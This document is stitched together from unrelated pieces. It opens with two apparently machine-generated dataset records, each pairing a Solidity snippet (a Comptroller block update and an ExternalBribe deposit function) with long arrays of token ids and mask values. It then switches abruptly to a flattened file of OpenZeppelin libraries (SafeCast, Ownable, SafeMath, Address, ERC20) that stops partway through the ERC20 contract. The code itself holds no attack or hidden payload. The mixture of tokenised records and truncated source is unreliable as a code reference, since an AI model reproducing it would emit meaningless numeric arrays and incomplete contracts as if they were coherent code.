./full_match/4/0x919febb6648cE9015dC71E924FedFc91A56b9a0b/sources/contracts/Comptroller.sol
|
Update market state block numbers/
|
supplyState.block = borrowState.block = blockNumber;
| 770,264 |
[
1,
1891,
13667,
919,
1203,
5600,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
540,
14467,
1119,
18,
2629,
273,
29759,
1119,
18,
2629,
273,
1203,
1854,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/7700/0x845F5B4a86Ef186e9f080d886ED7BffE4900D5a0/sources/contracts/ExternalBribe.sol
|
This is an external function, but internal notation is used since it can only be called "internally" from Gauges
|
function _deposit(uint amount, uint tokenId) external {
require(msg.sender == voter);
totalSupply += amount;
balanceOf[tokenId] += amount;
_writeCheckpoint(tokenId, balanceOf[tokenId]);
_writeSupplyCheckpoint();
emit Deposit(msg.sender, tokenId, amount);
}
| 4,656,211 |
[
1,
2503,
353,
392,
3903,
445,
16,
1496,
2713,
12155,
353,
1399,
3241,
518,
848,
1338,
506,
2566,
315,
267,
798,
1230,
6,
628,
611,
6480,
281,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
389,
323,
1724,
12,
11890,
3844,
16,
2254,
1147,
548,
13,
3903,
288,
203,
3639,
2583,
12,
3576,
18,
15330,
422,
331,
20005,
1769,
203,
203,
3639,
2078,
3088,
1283,
1011,
3844,
31,
203,
3639,
11013,
951,
63,
2316,
548,
65,
1011,
3844,
31,
203,
203,
3639,
389,
2626,
14431,
12,
2316,
548,
16,
11013,
951,
63,
2316,
548,
19226,
203,
3639,
389,
2626,
3088,
1283,
14431,
5621,
203,
203,
3639,
3626,
4019,
538,
305,
12,
3576,
18,
15330,
16,
1147,
548,
16,
3844,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/**
*Submitted for verification at Etherscan.io on 2021-08-23
*/
// Sources flattened with hardhat v2.6.1 https://hardhat.org
// File @openzeppelin/contracts/utils/[emailย protected]
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow
* checks.
*
* Downcasting from uint256/int256 in Solidity does not revert on overflow. This can
* easily result in undesired exploitation or bugs, since developers usually
* assume that overflows raise errors. `SafeCast` restores this intuition by
* reverting the transaction when such an operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*
* Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing
* all math on `uint256` and `int256` and then downcasting.
*/
library SafeCast {
/**
* @dev Returns the downcasted uint128 from uint256, reverting on
* overflow (when the input is greater than largest uint128).
*
* Counterpart to Solidity's `uint128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*/
function toUint128(uint256 value) internal pure returns (uint128) {
require(value < 2**128, "SafeCast: value doesn\'t fit in 128 bits");
return uint128(value);
}
/**
* @dev Returns the downcasted uint64 from uint256, reverting on
* overflow (when the input is greater than largest uint64).
*
* Counterpart to Solidity's `uint64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*/
function toUint64(uint256 value) internal pure returns (uint64) {
require(value < 2**64, "SafeCast: value doesn\'t fit in 64 bits");
return uint64(value);
}
/**
* @dev Returns the downcasted uint32 from uint256, reverting on
* overflow (when the input is greater than largest uint32).
*
* Counterpart to Solidity's `uint32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*/
function toUint32(uint256 value) internal pure returns (uint32) {
require(value < 2**32, "SafeCast: value doesn\'t fit in 32 bits");
return uint32(value);
}
/**
* @dev Returns the downcasted uint16 from uint256, reverting on
* overflow (when the input is greater than largest uint16).
*
* Counterpart to Solidity's `uint16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*/
function toUint16(uint256 value) internal pure returns (uint16) {
require(value < 2**16, "SafeCast: value doesn\'t fit in 16 bits");
return uint16(value);
}
/**
* @dev Returns the downcasted uint8 from uint256, reverting on
* overflow (when the input is greater than largest uint8).
*
* Counterpart to Solidity's `uint8` operator.
*
* Requirements:
*
* - input must fit into 8 bits.
*/
function toUint8(uint256 value) internal pure returns (uint8) {
require(value < 2**8, "SafeCast: value doesn\'t fit in 8 bits");
return uint8(value);
}
/**
* @dev Converts a signed int256 into an unsigned uint256.
*
* Requirements:
*
* - input must be greater than or equal to 0.
*/
function toUint256(int256 value) internal pure returns (uint256) {
require(value >= 0, "SafeCast: value must be positive");
return uint256(value);
}
/**
* @dev Returns the downcasted int128 from int256, reverting on
* overflow (when the input is less than smallest int128 or
* greater than largest int128).
*
* Counterpart to Solidity's `int128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*
* _Available since v3.1._
*/
function toInt128(int256 value) internal pure returns (int128) {
require(value >= -2**127 && value < 2**127, "SafeCast: value doesn\'t fit in 128 bits");
return int128(value);
}
/**
* @dev Returns the downcasted int64 from int256, reverting on
* overflow (when the input is less than smallest int64 or
* greater than largest int64).
*
* Counterpart to Solidity's `int64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*
* _Available since v3.1._
*/
function toInt64(int256 value) internal pure returns (int64) {
require(value >= -2**63 && value < 2**63, "SafeCast: value doesn\'t fit in 64 bits");
return int64(value);
}
/**
* @dev Returns the downcasted int32 from int256, reverting on
* overflow (when the input is less than smallest int32 or
* greater than largest int32).
*
* Counterpart to Solidity's `int32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*
* _Available since v3.1._
*/
function toInt32(int256 value) internal pure returns (int32) {
require(value >= -2**31 && value < 2**31, "SafeCast: value doesn\'t fit in 32 bits");
return int32(value);
}
/**
* @dev Returns the downcasted int16 from int256, reverting on
* overflow (when the input is less than smallest int16 or
* greater than largest int16).
*
* Counterpart to Solidity's `int16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*
* _Available since v3.1._
*/
function toInt16(int256 value) internal pure returns (int16) {
require(value >= -2**15 && value < 2**15, "SafeCast: value doesn\'t fit in 16 bits");
return int16(value);
}
/**
* @dev Returns the downcasted int8 from int256, reverting on
* overflow (when the input is less than smallest int8 or
* greater than largest int8).
*
* Counterpart to Solidity's `int8` operator.
*
* Requirements:
*
* - input must fit into 8 bits.
*
* _Available since v3.1._
*/
function toInt8(int256 value) internal pure returns (int8) {
require(value >= -2**7 && value < 2**7, "SafeCast: value doesn\'t fit in 8 bits");
return int8(value);
}
/**
* @dev Converts an unsigned uint256 into a signed int256.
*
* Requirements:
*
* - input must be less than or equal to maxInt256.
*/
function toInt256(uint256 value) internal pure returns (int256) {
require(value < 2**255, "SafeCast: value doesn't fit in an int256");
return int256(value);
}
}
// File @openzeppelin/contracts/GSN/[emailย protected]
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File @openzeppelin/contracts/access/[emailย protected]
pragma solidity ^0.6.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File @openzeppelin/contracts/token/ERC20/[emailย protected]
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File @openzeppelin/contracts/math/[emailย protected]
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File @openzeppelin/contracts/utils/[emailย protected]
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File @openzeppelin/contracts/token/ERC20/[emailย protected]
pragma solidity ^0.6.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
